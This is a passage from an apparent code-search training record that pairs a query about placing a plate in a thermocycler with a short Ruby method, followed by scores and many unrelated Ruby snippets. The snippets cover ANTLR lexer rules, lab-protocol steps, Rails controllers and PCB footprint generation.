end", "def language\n compiler && @compiler.class.language\n end", "def t__90!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 35)\n\n type = T__90\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 41:9: '.'\n match(?.)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 35)\n\n end", "def no_language_aware!\n\t\traise_if_error C.glyr_opt_lang_aware_only(to_native, false)\n\tend", "def alternatives; end", "def language\n Coursemology::Polyglot::Language.find_by(type: super)\n end", "def th!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 52 )\n\n type = TH\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n d = nil\n\n\n \n # - - - - main rule block - - - -\n # at line 351:5: d= ( ( DIGIT )* ) DIGIT ( 'T' | 't' ) ( 'H' | 'h' )\n # at line 351:7: ( ( DIGIT )* )\n # at line 351:8: ( DIGIT )*\n # at line 351:8: ( DIGIT )*\n while true # decision 4\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0.between?( 0x30, 0x39 ) )\n look_4_1 = @input.peek( 2 )\n\n if ( look_4_1.between?( 0x30, 0x39 ) )\n alt_4 = 1\n\n end\n\n end\n case alt_4\n when 1\n # at line 351:8: DIGIT\n digit!\n\n else\n break # out of loop for decision 4\n end\n end # loop for decision 4\n\n digit!\n if @input.peek(1) == 0x54 || @input.peek(1) == 0x74\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n if @input.peek(1) == 0x48 || @input.peek(1) == 0x68\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 52 )\n\n end", "def turn_on\n 'If the thermocycler is off, toggle the power switch in the back of the' \\\n ' instrument'\n end", "def in_law; end", "def turn_on()\n 'Turn on the #{model}<br>' \\\n 'If the thermocycler is off, toggle the power switch in the back of the instrument'\n end", "def mozart_german; end", "def lcb!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = LCB\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 365:7: '{'\n match( 0x7b )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "def compileterm\n\n end", "def infer_languages\n raise \"Not Implemented. Class #{self.class.name} doesn't implement infer_languages\"\n end", "def infer_language(text)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement infer_language\"\n end", "def t__148!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 92 )\n\n type = T__148\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 213:10: 'opera'\n match( \"opera\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 92 )\n\n end", "def t__150!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 94 )\n\n type = T__150\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 215:10: 'chrome'\n match( \"chrome\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 94 )\n\n end", "def language\n if !block_given?\n return @j_del.java_method(:language, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling language()\"\n end", "def learn_human_languages\n puts \"Do you want to learn English?\"\n puts \"1. Yes\"\n puts \"2. No\"\n\n english = get_data\n\n if english == \"1\"\n learn_english\n else\n babel = \"https://www.youtube.com/playlist?list=PLfKvL-VUSKAnkBk88BAb3oq1MlGVnhwcY\"\n puts \"If you want to learn other languages, check this out for FREE: #{babel}\"\n starter_kit\n podia\n end\nend", "def gluck_french; end", "def trader; end", "def define_kl_do\nend", "def musician; end", "def musician; end", "def maintenance_help\n puts \"Valid maintenance types are:\"\n Spinneret::Maintenance.constants.each { |cls| puts \" #{cls.to_s}\" }\n puts \"Note that capitalization *is* important and that Opportunistic is\"\n puts \"note a valid maintenance mode by itself.\"\nend" ]
[ "0.5968121", "0.551319", "0.55014163", "0.55014163", "0.55014163", "0.55014163", "0.5484887", "0.5457335", "0.5456323", "0.54071784", "0.5346292", "0.53420174", "0.53420174", "0.53420174", "0.53420174", "0.5335767", "0.5335767", "0.5311437", "0.53070587", "0.5282506", "0.52818406", "0.5270795", "0.5229812", "0.5214568", "0.51849616", "0.5168471", "0.51552254", "0.5154001", "0.5145582", "0.51438844", "0.51400703", "0.51196295", "0.51185435", "0.51072836", "0.51056415", "0.5100725", "0.50979507", "0.5092577", "0.5078311", "0.50675046", "0.5064966", "0.50633866", "0.5054073", "0.50496817", "0.50351226", "0.50351226", "0.5019085", "0.5011963", "0.50105685", "0.50083166", "0.5005669", "0.49984688", "0.49960366", "0.49960366", "0.49960366", "0.49960366", "0.49929187", "0.49903846", "0.49903846", "0.49863976", "0.49678218", "0.4966316", "0.49653086", "0.49651086", "0.49651086", "0.49651086", "0.49651086", "0.4959018", "0.49574023", "0.49505544", "0.4944508", "0.49431273", "0.49431273", "0.49431273", "0.49431273", "0.494206", "0.4935103", "0.49328437", "0.49327844", "0.49264228", "0.49170366", "0.49143112", "0.4906234", "0.49049503", "0.49039507", "0.48977506", "0.489586", "0.4894432", "0.48940772", "0.48906878", "0.4884398", "0.4883314", "0.48812678", "0.48802656", "0.48733643", "0.48732862", "0.48730028", "0.48644435", "0.4861744", "0.4861744", "0.48584372" ]
0.0
-1
Instructions for placing a plate in the instrument
def place_plate_in_instrument(plate:) "Place plate #{plate} in the thermocycler" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_make_antibiotic_plate op\n #getting the media sample required to plate this yeast strain\n antibiotic_hash = { \"nat\" => \"clonNAT\", \"kan\" => \"G418\", \"hyg\" => \"Hygro\", \"ble\" => \"Bleo\", \"5fo\" => \"5-FOA\" }\n full_marker = op.input(\"Genetic Material\").sample.properties[\"Yeast Marker\"]\n marker = full_marker.downcase[0,3]\n marker = \"kan\" if marker == \"g41\"\n media = Sample.find_by_name(\"YPAD + #{antibiotic_hash[marker]}\") \n \n #create new operation and set to pending\n ot = OperationType.find_by_name(\"Make Antibiotic Plate\")\n new_op = ot.operations.create(\n status: \"pending\",\n user_id: op.user_id\n )\n op.plan.plan_associations.create operation_id: new_op.id\n \n #add correct media sample as the output of the new op\n aft = ot.field_types.find { |ft| ft.name == \"Plate\" }.allowable_field_types[0]\n new_op.set_property \"Plate\", media, \"output\", false, aft\n \n #associate the new op with the item that will be the input of Yeast antibiotic plating\n #This way Antibiotic Plating can retrieve the correct plate for the yeast strain\n op.output(\"Transformation\").item.associate :spin_off, new_op.id\n\n op.plan.reload\n new_op.reload\n end", "def create_plate_in_sequencescape(plate, plate_uuid, date, sample_uuids)\n asset_size = plate.number_of_rows * plate.number_of_columns\n\n # Sequencescape does not have the concept other than 96 wells plate,\n # so we are not creating other plate types for now. However, it could be change in the future\n # and we could add additional plate types to Sequencescape.\n raise UnsupportedPlateType, \"The plate size is #{asset_size}. Currently we are only supporting plate with #{SupportedPlateSize} wells.\" unless asset_size == SupportedPlateSize\n\n sti_type = plate.is_a?(Lims::LaboratoryApp::Laboratory::Gel) ? settings[\"gel_type\"] : settings[\"plate_type\"]\n\n # Save plate and plate uuid\n plate_id = db[:assets].insert(\n :sti_type => sti_type,\n :plate_purpose_id => settings[\"unassigned_plate_purpose_id\"],\n :size => asset_size,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:uuids].insert(\n :resource_type => settings[\"asset_type\"],\n :resource_id => plate_id,\n :external_id => plate_uuid\n ) \n\n # Save wells and set the associations with the plate\n plate.keys.each do |location|\n map_id = db[:maps].select(:id).where(\n :description => location, \n :asset_size => asset_size\n ).first[:id]\n\n well_id = db[:assets].insert(\n :sti_type => settings[\"well_type\"], \n :map_id => map_id,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:container_associations].insert(\n :container_id => plate_id, \n :content_id => well_id\n ) \n\n # Save the volume contained in the well ie the solvent quantity in S2 \n aliquot = plate[location].find { |aliquot| aliquot.type == \"solvent\" }\n volume = aliquot.quantity if aliquot\n set_well_volume_and_concentration(well_id, volume, nil, date) if volume\n\n # Save well aliquots\n if sample_uuids.has_key?(location)\n sample_uuids[location].each do |sample_uuid|\n sample_resource_uuid = db[:uuids].select(:resource_id).where(\n :resource_type => settings[\"sample_type\"], \n :external_id => sample_uuid\n ).first\n\n raise UnknownSample, \"The sample #{sample_uuid} cannot be found in Sequencescape\" unless sample_resource_uuid\n sample_id = sample_resource_uuid[:resource_id]\n\n tag_id = get_tag_id(sample_id)\n study_id = study_id(sample_id)\n create_asset_request!(well_id, study_id, date)\n\n db[:aliquots].insert(\n :receptacle_id => well_id, \n :study_id => study_id,\n :sample_id => sample_id,\n :created_at => date,\n :updated_at => date,\n :tag_id => tag_id\n )\n end\n end \n end\n end", "def resuspend ops_to_plate\n show do\n title \"Resuspend in water and plate\"\n \n check \"Add 200 µl of MG water to the following mixtures: #{ops_to_plate.map { |op| op.output(\"Transformation\").item.id}.to_sentence}.\"\n check \"Vortex each tube to fully resuspend cells.\"\n check \"Flip the plates and add 4-5 glass beads to it, add 200 µl of mixtures on each plate.\"\n warning \"Add each volume of mixture to the plate with the matching ID.\"\n end\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n Rit::Plate.get(layout_name, instance_name, plate_name, session[:preview_time])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def plate\n @plate\n end", "def create\n @plate = Plate.new(plate_params)\n @plate.place = @place\n if @plate.save\n redirect_to place_plate_path(@place, @plate), notice: 'Plate was successfully created.'\n else\n render :new\n end\n end", "def parafilm_plates\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || !op.temporary[:valid_params?] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm}\"\n check \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n check \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def setup \n size 640, 360\n @arm = SpinArm.new width/2, height/2, 0.01\n @spots = SpinSpots.new width/2, height/2, -0.02, 90.0\nend", "def provision_plates(operations:, object_type:)\n operations.each do |op|\n collection = make_new_plate(object_type, label_plate: true)\n op.output(PLATE).set(collection: collection)\n\n set_parts(\n collection: collection,\n group_size: op.temporary[:options][:group_size],\n method: op.temporary[:options][:layout_method],\n sample: op.output(PLATE).sample\n )\n\n inspect op.output(PLATE).collection.matrix if debug\n end\n end", "def display_plate(outname, ops, stamp_columns=false)\n plate = Array.new(8) { Array.new(12, \"-\") }\n if stamp_columns\n ops.each do |op|\n col = op.output(outname).column\n background = BACKGROUND_COLORS[col]\n content = \"#{(\"A\".ord.to_i).chr}#{col+1}\"\n plate[0][col] = {content: content, style: {background: background} }\n (1..stamp_columns - 1).each do |row|\n plate[row][col] = { content: \" \", style: { background: background } }\n end\n end\n else\n ops.each do |op|\n row = op.output(outname).row\n col = op.output(outname).column\n plate[row][col] = {content: \"#{(row + \"A\".ord.to_i).chr}#{col+1}\", style: {background: BACKGROUND_COLORS[0] } }\n end\n end\n\n return plate\n end", "def get_and_label_new_plate(plate)\n show do\n title 'Get and Label Working Plate'\n note \"Get a <b>#{plate.object_type.name}</b> and\n label it ID: <b>#{plate.id}</b>\"\n end\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n RitClient::Plate.get(layout_name, instance_name, plate_name, nil) # session[:preview_time]\n end", "def set_plate\n @plate = authorize Plate.includes(wells: [:test_result, :sample]).find(params[:id])\n end", "def label_plate(plate, group)\n labels = []\n mod_title = @model.title\n\n container = group.entities.add_group\n\n plname = plate.definition.name\n var = mod_title + '-' + plname\n text = container.entities.add_3d_text(var, TextAlignLeft, '1CamBam_Stick_7', false, false, 0.675, 0.0, -0.01, false, 0.0)\n\n align = Geom::Transformation.axes([plate.bounds.center[0], (plate.bounds.center[1] - (plate.bounds.height / 2)), plate.bounds.center[2]], X_AXIS, Z_AXIS, Y_AXIS )\n vr = X_AXIS.reverse\n vr.length = (container.bounds.width/2)\n shift = Geom::Transformation.translation(vr)\n container.move! align\n @entities.transform_entities shift, container\n return container\n end", "def create\n super\n show(PLACEMENT_SCREEN)\n end", "def plate_params\n params.require(:plate).permit(:width, :height, :plate_value, :qtd, :mobile_id)\n end", "def create\n super\n show(PLACEMENT_SCREEN)\n end", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def create\n super\n show(PLACEMENT_SCREEN)\n end", "def create\n\t\tsuper\n\t\tshow(PLACEMENT_SCREEN)\n\tend", "def create\n super\n show(PLACEMENT_SCREEN)\n end", "def note_fluorescent_plates(fluorescent_operations)\n long_list = fluorescent_operations[:dark_ops] + fluorescent_operations[:light_ops]\n show do \n title \"Make Note on Fluorescent Plates\"\n plates_to_note = long_list.reject { |op| op.temporary[:delete] }.map{ |op| op.input(\"Plate\").item.id }\n note \"Perform steps with the following plates: #{plates_to_note}\"\n note \"Place a small piece of tape on each plate\"\n note \"Make note on tape saying 'Select Circled Colonies'\"\n end\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n if label_plate\n show do\n title 'Get and Label new Plate'\n note get_and_label_new_item(working_plate) if label_plate\n end\n end\n working_plate\n end", "def plate_params\n params.require(:plate).permit(:place_id, :picture, :name, :content, :category, :favored, :tags, {:options => []}, :diners, :price, :active, :deleted_at)\n end", "def enqueue(new_plate)\n while plate = @out.pop\n @in.push(plate)\n end\n\n @in.push(new_plate) # place plate on top of stack of plates\n end", "def shake_and_incubate ops_to_plate\n show do\n title \"Shake and incubate\"\n \n check \"Shake the plates in all directions to evenly spread the culture over its surface till dry.\"\n check \"Discard the beads in a used beads container.\"\n check \"Throw away the following 1.5 mL tubes.\"\n note ops_to_plate.collect { |op| op.output(\"Transformation\").item.id }\n check \"Incubate all the plates with agar side up shown in the next page.\"\n end\n end", "def plates\n @plates ||= plate_wrappers.collect(&:plate)\n end", "def create\n @plate = Plate.new(plate_params)\n\n respond_to do |format|\n if @plate.save\n format.html { redirect_to @plate, notice: 'Plate was successfully created.' }\n format.json { render :show, status: :created, location: @plate }\n else\n format.html { render :new }\n format.json { render json: @plate.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup_stripwell_plate(collection:, method:, program_name:, group_size:)\n collection.associate(:program_name, program_name)\n collection.associate(:group_size, group_size)\n qpcr_reaction = Sample.find_by_name('Test qPCR Reaction')\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: group_size,\n method: method,\n dimensions: collection.dimensions\n )\n\n loop do\n layout_group = layout_generator.next_group\n break unless layout_group.present?\n\n layout_group.each do |r, c|\n collection.set(r, c, qpcr_reaction)\n part = collection.part(r, c)\n part.associate(PRIMER_PROBE_MIX_KEY, 'added')\n end\n end\n\n show_result(collection: collection)\n end", "def fill_plate_with_media(op, collection, rc_list)\n count = 0\n rc_list.each { |media_coords, med_type|\n media_vol = ((media_coords.length + 2) * op.input(MEDIA_DILU_VOL).val.to_i)/1000#mL\n show {\n title \"Filling #{Item.find(collection.id).object_type.name} #{collection.id}\"\n separator\n (count == 0) ? (check \"Obtain a <b>#{Item.find(collection.id).object_type.name}</b> and label with #<b>#{collection.id}</b>\") : nil\n check \"Aliquot <b>#{media_vol.round(2)}mL</b> of <b>#{med_type}</b> into a clean reservoir.\"\n note \"Follow the table below to fill Deep Well plate #{collection.id} with <b>#{op.input(MEDIA_DILU_VOL).val.to_i}µl</b> the appropriate media:\"\n table highlight_rc(collection, media_coords) {|r,c| med_type}\n }\n count += 1\n }\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n get_and_label_new_plate(working_plate) if label_plate\n working_plate\n end", "def resuspension(collection, items, bio_reps)\n \n samp_id_to_item_hash = samp_id_to_item_hash(items)\n \n media_vol = ((items.length * bio_reps * (WELL_VOL + 5))/1000.0).round(2) # a little extra media per well to not run out in reservoir \n \n rc_list = collection.get_non_empty\n \n # add well for GFP positive control - H9\n rc_list.push(find_rc_from_alpha_coord(alpha_coord=POSITIVE_GFP_WELL).flatten)\n \n show do\n title \"Fill 96 Well Plate for Inoculation\"\n separator\n check \"Grab a clean Black Costar 96 Well Clear Flat Bottom Plate and label: #<b>#{collection}</b>\"\n note \"You can find the plates <b>#{PLT_LOC}</b>\"\n check \"You will need <b>#{media_vol.to_f} mLs</b> of SC media\"\n separator\n note \"Follow table below and fill 96 well plate with the following volume of SC media:\"\n table highlight_alpha_rc(collection, rc_list){|r,c| \"#{WELL_VOL}µl\"}\n end\n \n take(items, interactive: true)\n \n show do\n title \"Inoculate 96 Well Plate\"\n \n note \"Using a P20 pipette set to 5 µl, pick a single colony from the plate and resuspend it in the corresponding well.\"\n separator\n note \"Follow table below and inoculate the 96 well plate with single colonies corresponding to the item id:\"\n table highlight_alpha_non_empty(collection){|r,c| samp_id_to_item_hash[collection.matrix[r][c]]} \n # check \"<b>Finally, place clear lid on top and tape shut before placing it on the plate shaker.</b>\"\n end\n \n # Adding controls to plate\n need_to_create_new_control_plate = adding_positive_gfp_control(collection, well=POSITIVE_GFP_WELL) # YG_Controls\n \n collection.move \"30 C incubator; Plate Shaker @ 800rpm\"\n release([collection], interactive: true)\n return need_to_create_new_control_plate\n end", "def create\n @license_plate = LicensePlate.new(license_plate_params)\n\n respond_to do |format|\n if @license_plate.save\n format.html { redirect_to @license_plate, notice: 'License plate was successfully created.' }\n format.json { render :show, status: :created, location: @license_plate }\n else\n format.html { render :new }\n format.json { render json: @license_plate.errors, status: :unprocessable_entity }\n end\n end\n end", "def plate_params\n params.require(:plate).permit(:siteid, :camid, :plate, :confidence, :process, :x, :y, :uuid, :blacklisted)\n end", "def create\n @plate = @restaurante.plates.create(plate_params)\n @plate.ratings ||= []\n @plate.clients_ratings ||= []\n\n respond_to do |format|\n if @plate.save\n format.html { redirect_to restaurante_plate_path(@restaurante, @plate),\n notice: 'Plato creado exitosamente.' }\n format.json { render :show, status: :created, location: @plate }\n else\n format.html { render :new }\n format.json { render json: @plate.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def plate_params\n params.require(:plate).permit!\n end", "def generate_plates! num_plates, options={}\n verbose = options[:verbose] || true\n\n @plate_ids = Array.new(@size) { Array.new(@size) { -1 }}\n\n # Initialize plates in random spots\n @plates = (0...num_plates).map do |plate_num|\n # Find an unoccupied point\n point = nil\n while point == nil\n x, y = rand(@size), rand(@size)\n\n point = [x, y] if @plate_ids[x][y] < 0\n end\n\n x, y = point\n @plate_ids[x][y] = plate_num\n\n Plate.new.tap do |plate|\n plate.map = @plate_ids\n plate.id = plate_num\n plate.type = rand < 0.5 ? :continent : :ocean\n plate.seed = point\n end\n end\n\n num_points = self.num_points - num_plates\n valid_plates = @plates.select(&:has_frontier?)\n\n i = 0\n while valid_plates.length > 0\n if verbose and i % (num_points / 100) == 0\n puts \"#{i}/#{num_points} #{(i.fdiv(num_points) * 100).round}%\"\n end\n\n # Find a plate with neighbours\n loop do\n idx = choose_plate valid_plates\n plate = valid_plates[idx]\n\n # absorb a point from the frontier\n value = plate.absorb_frontier!\n\n if not value\n valid_plates.delete_at idx\n break if valid_plates.length == 0\n else\n # Did we just consume the last point of this plate?\n valid_plates.delete_at(idx) if not plate.has_frontier?\n break\n end\n end\n\n i += 1\n end\n end", "def plate_params\n params.require(:plate).permit(:name, :price,\n :description, :portions, :avatar, :rate)\n end", "def register_modality_to_t1\n # For ASL, we ill use the PD image because it's information is closer to\n # anatomical than the computed flow maps, bringing along the flow maps. \n\n # system(\"spm8\")\n # Click Coregister - Estimate and Reslice\n # Reference Image: Select the BRAVO\n # Source Image: Select the PD Map\n # Other Images: Select the ASL Map\n # Use other defaults (NMI, etc.) \n end", "def place(args)\n x, y, orientation = args\n validate_orientation(orientation)\n validate_coordinates({ 'x' => x.to_i, 'y' => y.to_i })\n self.x_coordinate = x.to_i\n self.y_coordinate = y.to_i\n self.orientation = orientation\n end", "def place(card)\n end", "def fill_plate_with_media(collection, rc_list)\n count = 0\n rc_list.each do |media_coords, med_type|\n media_vol = (media_coords.length + 2) * 0.2#mL\n show do\n title \"Filling 96 Deep Well <b>#{collection.id}</b>\"\n separator\n if count == 0\n check \"Obtain a <b>96 Deep Well plate</b> and label with #<b>#{collection.id}</b>\"\n end\n check \"Aliquot <b>#{media_vol.round(2)}mL</b> of <b>#{med_type}</b> into a clean reservoir.\"\n note \"Follow the table below to fill Deep Well plate with <b>180µl</b> the appropriate media:\"\n table highlight_rc(collection, media_coords) {|r,c| med_type}\n end\n count += 1\n end\n end", "def insert_code(pdf, string, x, y)\n\tbarcode = Barby::Code128B.new(string)\n\toutputter = Barby::PngOutputter.new(barcode)\n\toutputter.height = 30\n\toutputter.margin = 0\n\tblob = outputter.to_png #Raw PNG data\n\tdata = StringIO.new(blob)\n\tpdf.rotate(90, :origin => [x, y]) do\n\t\tpdf.image data, :at => [x, y], :width => 70, :height => 30\n\tend\nend", "def store_cartridge cartridge\n show do\n title \"Move QX DNA Screening Cartridge to the fridge for the weekend\"\n check \"Go to R2, and retrieve the blister package labeled #{cartridge}.\"\n check \"Grab the purge port seal from the bottom drawer beneath the fragment analyzer.\"\n check \"Open ScreenGel software and unlatch the cartridge by clicking on the Unlatch icon.\"\n # image \"Actions/Fragment Analyzer/frag_an_unlatch.jpg\" # image does not exist\n check \"Open the cartridge compartment on the fragment analyzer by gently pressing on the door.\"\n check \"Remove the smart key.\"\n warning \"Keep the cartridge vertical at all times!\".upcase\n check \"Close the purge port with the purge port seal.\"\n image \"Actions/Fragment Analyzer/frag_an_cartridge_seal_on.jpg\"\n check \"Return the cartridge to the blister package by CAREFULLY inserting the capillary tips into the soft gel.\"\n check \"Close the cartridge compartment door.\"\n check \"Return the purge port seal backing to its plastic bag and place it back in the drawer.\"\n check \"Store the cartridge upright in the door of R2 (B13.120).\"\n cartridge.location = \"R2 (B13.120)\"\n cartridge.save\n end if Time.now.friday?\n release [cartridge] if cartridge\n end", "def re_incubate_plates ops_to_incubate\n if !ops_to_incubate.blank? \n show do \n title \"Re-Incubate\"\n note \"The following plates will be re-incubated, so set them aside for now:\"\n note \"#{ops_to_incubate.map { |op| op.input(\"Plate\").item.id }.join(\",\")}\"\n end\n ops_to_incubate.each do |op|\n plate = op.input(\"Plate\").item\n op.set_status \"pending\"\n plate.location = \"#{t_c} C incubator\"\n plate.save\n end\n end\n end", "def place_command_proceed\n @robot.place(@x_position.to_i, @y_position.to_i, @vector.to_s.strip)\n end", "def plate_params\n params.require(:plate).permit(:state, :number, :phone)\n end", "def setup_test_plate(collection:, method:)\n collection.associate(:program_name, debug_parameters[:program_name])\n collection.associate(:group_size, debug_parameters[:group_size])\n qpcr_reaction = Sample.find_by_name('Test qPCR Reaction')\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: 24,\n method: :cdc_primer_layout\n )\n\n loop do\n layout_group = layout_generator.next_group\n break unless layout_group.present?\n\n layout_group.each do |r, c|\n collection.set(r, c, qpcr_reaction)\n part = collection.part(r, c)\n part.associate(MASTER_MIX_KEY, 'added')\n end\n end\n\n if method == :master_mix\n show_result(collection: collection) if VERBOSE\n inspect_data_associations(collection: collection) if VERBOSE\n return\n end\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: debug_parameters[:group_size],\n method: :cdc_sample_layout\n )\n layout_group = layout_generator.next_group\n layout_group.each do |r, c|\n part = collection.part(r, c)\n part.associate(TEMPLATE_KEY, 'added')\n end\n\n show_result(collection: collection) if VERBOSE\n inspect_data_associations(collection: collection) if VERBOSE\n end", "def choose_plate plates\n # Weighted choice based on frontier length - if we do it perfectly uniform\n # then we end up with plates that \"compress\" into small remaining places\n # which results in \"snaky\" plates and weird convergence points between\n # many plates\n \n # TODO: could probably pull weighted randoms into a different module\n total = plates.map(&:frontier_length).inject(&:+)\n\n # TODO: using a uniform random generator here gives plates that are all\n # roughly the same size - kinda boring, maybe try using a non-uniform\n # distribution here\n point = rand(total)\n\n idx = 0\n begin\n while point > plates[idx].frontier_length\n point -= plates[idx].frontier_length\n idx += 1\n end\n rescue\n # TODO: fix this - once in a while we get an out of bounds problem here\n puts $!\n puts $!.backtrace.join(\"\\n\")\n puts \"Point: #{point}\"\n puts \"Idx: #{idx}\"\n puts \"Total: #{total}\"\n end\n\n idx\n end", "def create\n @plate = Plate.new(params[:plate])\n\n if @plate.save\n render json: @plate, status: :created, location: @plate\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end", "def confirm_plate_orientation()\n \"MAKE SURE THAT THE PLATE IS IN THE CORRECT ORIENTATION\"\n end", "def create_microtiter_plates(operations:)\n operations.each do |operation|\n method = operation.temporary[:options][:layout_method]\n group_size = operation.temporary[:options][:group_size]\n program_name = operation.temporary[:options][:program_name]\n\n output_collection = operation.output(PLATE).collection\n output_collection.associate(PRIMER_GROUP_SIZE_KEY, group_size)\n output_collection.associate(COMPOSITION_NAME_KEY, program_name)\n output_collection.associate(PRIMER_METHOD_KEY, method)\n\n microtiter_plate = MicrotiterPlateFactory.build(\n collection: output_collection,\n group_size: group_size,\n method: method\n )\n operation.temporary[:microtiter_plate] = microtiter_plate\n end\n end", "def initialize(commands)\n m = commands.shift\n @map = Plateau.new(m[0],m[1])\n create_rover(commands)\n initial_placement\n end", "def create\n super\n show PLACEMENT_SCREEN\n end", "def inglobe_surrounded_blocks(plates)\n\tn_plates = number_of_plates(plates)\n\tn_plates.times do |plaque_index|\n\t\tlog \"considering for inglobation #{plaque_index}\"\n\t\tall_points = points_of_the_plate(plates,plaque_index)\t\t\n\t\tif all_points.count>0\t\t\t\t\t\t\n\t\t\tparent = container_inglobing_points(plates,all_points)\n\t\t\tif parent\n\t\t\t\t# ok, inglobe\n\t\t\t\tlog \"Going to inglone #{plaque_index} in #{parent}\"\n\t\t\t\tall_points.each {|p| x,y=p; plates.set(x,y,parent)}\n\t\t\tend\n\t\tend\n\tend\nend", "def load_media(outputPlate)\r\n show do \r\n title \"Filling new 96-deep well Item ##{outputPlate.id}\" \r\n \r\n note \"In a clean & sterile multichannel reservoir, pour aliquoted media.\" \r\n check \"Grab a new 96-deep well plate and label with the Item ID ##{outputPlate.id}.\" \r\n note \"Using a multichannel P1000 transfer 999uL of media to the following wells.\" \r\n # CollectionDisplay library\r\n table highlight_non_empty(outputPlate) { |r,c| \"999uL\" } \r\n end \r\n end", "def grab_plate plate_batch_ids, grab_plate_tab\n show do\n title \"Grab plate\"\n \n note \"Grab the following plates from batches #{plate_batch_ids.join(\", \")} and label with your initials, the date, and the following ids on the top and side of each plate.\"\n table grab_plate_tab\n end\n end", "def insert_landscape\n puts (\"\\u{1f4b5}\" + \" \" + \"\\u{1f4b4}\" + \" \" + \"\\u{1f4b6}\" + \" \" + \"\\u{1f4b7}\" + \" \") * 8 # line of cash?\n end", "def confirm_plate_orientation\n 'MAKE SURE THAT THE PLATE IS IN THE CORRECT ORIENTATION'\n end", "def confirm_plate_orientation\n 'MAKE SURE THAT THE PLATE IS IN THE CORRECT ORIENTATION'\n end", "def initialize\n @model = \"BMW\"\n @color = \"Red\"\n @plate = \"#{(\"a\"..\"z\").to_a.sample}-#{rand(1..100)}\"\n @chassis = \"topsecret\"\n end", "def initiate_parking(command)\n\t\tif is_a_create_command?(command[:method])\n\t\t\tsetup_lot_and_slots(command)\n\t\telse\n\t\t\tputs \"You should create a parking lot first\"\n\t\tend\n\tend", "def GenPin(x, y, paddia, drilldia, name, number, flags)\n clearance = GetDim('clearance') * 2\n mask = GetDim('mask') * 2 + paddia\n PcbPin(x, y, paddia, clearance, mask, drilldia, name, number, flags)\nend", "def set_license_plate\n @license_plate = LicensePlate.find(params[:id])\n end", "def place(rbot, x: nil, y: nil, direction: nil)\n rbot.at(x, y)\n rbot.orient(direction)\n end", "def GenMountingHole(name) \n drilldia = GetScaledDrillDia()\n if drilldia < 1000 # 10 mil\n print \"GenMountingHole(#{name}): Drilldia too small!\\n\"\n end\n paddia = GetDim('pad-dia')\n silkdia = GetDim('silk-dia')\n if (silkdia != 0) and (silkdia < drilldia)\n silkdia = -1\n silkwidth = 0\n else\n silkwidth = GetDim('silkwidth')\n end\n if silkdia == 0\n silkoffset = GetDim('silkoffset')\n silkdia = [paddia, drilldia].max + 2 * silkoffset + silkwidth\n end\n tx = - [paddia, drilldia, silkdia + silkwidth].max / 2.0\n ty = tx - (PCB_DefaultTextSize + RefdesToSilkOffset) * GetCnt('refdessize')\n r = GenElementHeader(tx, ty, 0) + \"(\\n\"\n if paddia <= drilldia\n r += GenPin(0, 0, drilldia, drilldia, '', '', 'hole')\n else\n minpaddia = drilldia + 2000 # make pad of pin 20mil larger than drill to ensure minimal anular ring \n r += GenPin(0, 0, minpaddia, drilldia, 1, 1, '')\n if minpaddia < paddia \n r += PcbSmartPad(0, 0, 0, 0, paddia, 1, 1, '')\n r += PcbSmartPad(0, 0, 0, 0, paddia, 1, 1, 